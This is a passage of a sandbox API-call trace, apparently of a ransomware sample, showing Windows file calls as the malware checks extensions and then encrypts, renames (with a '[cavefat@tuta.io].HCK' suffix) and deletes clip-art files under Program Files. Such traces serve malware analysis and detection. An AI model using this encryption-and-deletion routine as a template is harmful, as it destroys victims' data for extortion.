returned 5 [0179.778] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.778] lstrlenW (lpString=".ppt") returned 4 [0179.778] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString=".zip") returned 4 [0179.778] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString=".rar") returned 4 [0179.778] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString=".bz2") returned 4 [0179.778] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString=".7z") returned 3 [0179.778] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString=".dbf") returned 4 [0179.778] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString=".1cd") returned 4 [0179.778] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP") returned 68 [0179.778] lstrlenW (lpString=".jpg") returned 4 [0179.778] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.778] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.778] lstrlenW (lpString="PH02470U.BMP") returned 12 [0179.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.785] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=18684) returned 1 [0179.785] CloseHandle (hObject=0x39c) returned 1 [0179.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp")) returned 0x220 [0179.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.790] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.790] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.793] GetLastError () returned 0x0 [0179.793] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x48fc, lpOverlapped=0x0) returned 1 [0179.796] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4900, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4900, lpOverlapped=0x0) returned 1 [0179.797] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.797] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.797] SetEndOfFile (hFile=0x39c) returned 1 [0179.798] CloseHandle (hObject=0x39c) returned 1 [0179.800] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.800] SetEndOfFile (hFile=0x300) returned 1 [0179.803] CloseHandle (hObject=0x300) returned 1 [0179.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp")) returned 1 [0179.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.809] lstrlenW (lpString=".doc") returned 4 [0179.809] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.809] lstrlenW (lpString=".docx") returned 5 [0179.809] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.809] lstrlenW (lpString=".pdf") returned 4 [0179.809] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.809] lstrlenW (lpString=".xls") returned 4 [0179.809] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".xlsx") returned 5 [0179.810] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.810] lstrlenW (lpString=".ppt") returned 4 [0179.810] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString=".zip") returned 4 [0179.810] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".rar") returned 4 [0179.810] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".bz2") returned 4 [0179.810] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".7z") returned 3 [0179.810] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString=".dbf") returned 4 [0179.810] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString=".1cd") returned 4 [0179.810] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString=".jpg") returned 4 [0179.810] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString=".doc") returned 4 [0179.810] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".docx") returned 5 [0179.810] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.810] lstrlenW (lpString=".pdf") returned 4 [0179.810] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".xls") returned 4 [0179.810] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString=".xlsx") returned 5 [0179.810] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.810] lstrlenW (lpString=".ppt") returned 4 [0179.810] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.810] lstrlenW (lpString=".zip") returned 4 [0179.810] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.811] lstrlenW (lpString=".rar") returned 4 [0179.811] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.811] lstrlenW (lpString=".bz2") returned 4 [0179.811] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.811] lstrlenW (lpString=".7z") returned 3 [0179.811] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.811] lstrlenW (lpString=".dbf") returned 4 [0179.811] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.811] lstrlenW (lpString=".1cd") returned 4 [0179.811] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 68 [0179.811] lstrlenW (lpString=".jpg") returned 4 [0179.811] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.811] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.811] lstrlenW (lpString="PH02738U.BMP") returned 12 [0179.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.812] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=33048) returned 1 [0179.812] CloseHandle (hObject=0x39c) returned 1 [0179.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp")) returned 0x220 [0179.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.817] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.817] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.818] GetLastError () returned 0x0 [0179.818] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8118, lpOverlapped=0x0) returned 1 [0179.822] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8120, lpOverlapped=0x0) returned 1 [0179.823] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.823] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.823] SetEndOfFile (hFile=0x3a4) returned 1 [0179.828] CloseHandle (hObject=0x3a4) returned 1 [0179.831] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.831] SetEndOfFile (hFile=0x2fc) returned 1 [0179.832] CloseHandle (hObject=0x2fc) returned 1 [0179.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp")) returned 1 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.835] lstrlenW (lpString=".doc") returned 4 [0179.835] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.835] lstrlenW (lpString=".docx") returned 5 [0179.835] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.835] lstrlenW (lpString=".pdf") returned 4 [0179.835] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.835] lstrlenW (lpString=".xls") returned 4 [0179.835] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.835] lstrlenW (lpString=".xlsx") returned 5 [0179.835] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.835] lstrlenW (lpString=".ppt") returned 4 [0179.835] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.835] lstrlenW (lpString=".zip") returned 4 [0179.835] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".rar") returned 4 [0179.836] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".bz2") returned 4 [0179.836] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".7z") returned 3 [0179.836] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".dbf") returned 4 [0179.836] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".1cd") returned 4 [0179.836] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".jpg") returned 4 [0179.836] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".doc") returned 4 [0179.836] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".docx") returned 5 [0179.836] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.836] lstrlenW (lpString=".pdf") returned 4 [0179.836] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".xls") returned 4 [0179.836] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".xlsx") returned 5 [0179.836] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.836] lstrlenW (lpString=".ppt") returned 4 [0179.836] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".zip") returned 4 [0179.836] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".rar") returned 4 [0179.836] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".bz2") returned 4 [0179.836] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString=".7z") returned 3 [0179.836] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".dbf") returned 4 [0179.836] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".1cd") returned 4 [0179.836] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP") returned 68 [0179.836] lstrlenW (lpString=".jpg") returned 4 [0179.836] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.837] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.837] lstrlenW (lpString="PH02742U.BMP") returned 12 [0179.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.841] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31968) returned 1 [0179.841] CloseHandle (hObject=0x2fc) returned 1 [0179.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp")) returned 0x220 [0179.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.844] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.844] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.851] GetLastError () returned 0x0 [0179.851] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0179.853] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0179.854] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.854] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.854] SetEndOfFile (hFile=0x300) returned 1 [0179.856] CloseHandle (hObject=0x300) returned 1 [0179.856] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.856] SetEndOfFile (hFile=0x3a4) returned 1 [0179.860] CloseHandle (hObject=0x3a4) returned 1 [0179.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp")) returned 1 [0179.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.864] lstrlenW (lpString=".doc") returned 4 [0179.864] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString=".docx") returned 5 [0179.864] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.864] lstrlenW (lpString=".pdf") returned 4 [0179.864] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString=".xls") returned 4 [0179.864] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString=".xlsx") returned 5 [0179.864] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.864] lstrlenW (lpString=".ppt") returned 4 [0179.864] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.864] lstrlenW (lpString=".zip") returned 4 [0179.864] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString=".rar") returned 4 [0179.864] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString=".bz2") returned 4 [0179.864] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString=".7z") returned 3 [0179.864] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.864] lstrlenW (lpString=".dbf") returned 4 [0179.864] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.864] lstrlenW (lpString=".1cd") returned 4 [0179.864] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.864] lstrlenW (lpString=".jpg") returned 4 [0179.865] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.865] lstrlenW (lpString=".doc") returned 4 [0179.865] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString=".docx") returned 5 [0179.865] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.865] lstrlenW (lpString=".pdf") returned 4 [0179.865] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString=".xls") returned 4 [0179.865] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString=".xlsx") returned 5 [0179.865] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.865] lstrlenW (lpString=".ppt") returned 4 [0179.865] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.865] lstrlenW (lpString=".zip") returned 4 [0179.865] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.865] 